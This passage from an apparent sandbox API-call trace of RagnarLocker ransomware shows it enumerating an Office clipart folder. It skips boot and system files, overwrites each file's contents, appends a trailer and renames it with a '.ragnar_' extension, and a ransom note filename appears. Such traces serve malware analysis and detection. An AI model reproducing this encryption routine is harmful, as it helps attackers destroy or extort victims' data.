returned 1 [0087.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.725] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4180, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.725] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4180, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4180, lpOverlapped=0x0) returned 1 [0087.725] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4180, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.725] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.726] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4180, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.726] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.726] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.726] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.726] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.726] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.726] GetProcessHeap () returned 0x580000 [0087.726] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.726] CloseHandle (hObject=0xf4) returned 1 [0087.726] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" [0087.726] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.ragnar_FD7BD9FC" [0087.726] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.727] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0318804.WMF", cAlternateFileName="")) returned 1 [0087.727] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.727] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0318804.WMF" | out: lpString1="J0318804.WMF") returned="J0318804.WMF" [0087.727] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF") returned=".WMF" [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="autorun.inf") returned 1 [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="boot.ini") returned 1 [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="bootfont.bin") returned 1 [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="bootsect.bak") returned 1 [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="bootmgr") returned 1 [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="bootmgr.efi") returned 1 [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="bootmgfw.efi") returned 1 [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="desktop.ini") returned 1 [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="iconcache.db") returned 1 [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="ntldr") returned -1 [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="ntuser.dat") returned -1 [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="ntuser.dat.log") returned -1 [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="ntuser.ini") returned -1 [0087.727] lstrcmpiW (lpString1="J0318804.WMF", lpString2="thumbs.db") returned -1 [0087.727] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.727] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.728] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.728] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.728] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.728] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.728] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf")) returned 0x20 [0087.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.728] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11770) returned 1 [0087.728] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2df1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.728] GetProcessHeap () returned 0x580000 [0087.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.728] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.730] VirtualAlloc (lpAddress=0x0, dwSize=0x2dfa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.730] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2dfa, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2dfa, lpOverlapped=0x0) returned 1 [0087.731] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.731] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2dfa, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.731] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2dfa, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2dfa, lpOverlapped=0x0) returned 1 [0087.731] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2dfa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.731] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.731] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2dfa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.731] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.731] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.732] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.732] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.732] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.732] GetProcessHeap () returned 0x580000 [0087.732] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.732] CloseHandle (hObject=0xf4) returned 1 [0087.732] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" [0087.732] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.ragnar_FD7BD9FC" [0087.732] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.733] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0318810.WMF", cAlternateFileName="")) returned 1 [0087.733] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.733] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0318810.WMF" | out: lpString1="J0318810.WMF") returned="J0318810.WMF" [0087.733] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF") returned=".WMF" [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="autorun.inf") returned 1 [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="boot.ini") returned 1 [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="bootfont.bin") returned 1 [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="bootsect.bak") returned 1 [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="bootmgr") returned 1 [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="bootmgr.efi") returned 1 [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="bootmgfw.efi") returned 1 [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="desktop.ini") returned 1 [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="iconcache.db") returned 1 [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="ntldr") returned -1 [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="ntuser.dat") returned -1 [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="ntuser.dat.log") returned -1 [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="ntuser.ini") returned -1 [0087.733] lstrcmpiW (lpString1="J0318810.WMF", lpString2="thumbs.db") returned -1 [0087.733] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.733] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.733] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.733] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.733] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.733] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.733] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf")) returned 0x20 [0087.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.734] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10430) returned 1 [0087.734] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x28b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.734] GetProcessHeap () returned 0x580000 [0087.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.734] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.736] VirtualAlloc (lpAddress=0x0, dwSize=0x28be, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.736] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.736] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.736] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x28be, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x28be, lpOverlapped=0x0) returned 1 [0087.737] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.737] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28be, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.737] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x28be, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x28be, lpOverlapped=0x0) returned 1 [0087.737] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.737] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.737] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x28be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.737] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.737] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.738] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.738] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.738] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.738] GetProcessHeap () returned 0x580000 [0087.738] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.738] CloseHandle (hObject=0xf4) returned 1 [0087.738] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" [0087.738] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.ragnar_FD7BD9FC" [0087.738] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.739] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0321179.JPG", cAlternateFileName="")) returned 1 [0087.739] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.739] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0321179.JPG" | out: lpString1="J0321179.JPG") returned="J0321179.JPG" [0087.739] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG") returned=".JPG" [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="autorun.inf") returned 1 [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="boot.ini") returned 1 [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="bootfont.bin") returned 1 [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="bootsect.bak") returned 1 [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="bootmgr") returned 1 [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="bootmgr.efi") returned 1 [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="bootmgfw.efi") returned 1 [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="desktop.ini") returned 1 [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="iconcache.db") returned 1 [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="ntldr") returned -1 [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="ntuser.dat") returned -1 [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="ntuser.dat.log") returned -1 [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="ntuser.ini") returned -1 [0087.739] lstrcmpiW (lpString1="J0321179.JPG", lpString2="thumbs.db") returned -1 [0087.739] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.739] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.739] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.739] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.739] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.739] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.739] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg")) returned 0x20 [0087.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.740] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9431) returned 1 [0087.740] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x24ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.740] GetProcessHeap () returned 0x580000 [0087.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.740] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.742] VirtualAlloc (lpAddress=0x0, dwSize=0x24d7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.742] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.742] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.742] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x24d7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x24d7, lpOverlapped=0x0) returned 1 [0087.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.743] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x24d7, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.743] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x24d7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x24d7, lpOverlapped=0x0) returned 1 [0087.744] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x24d7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.744] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.744] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x24d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) 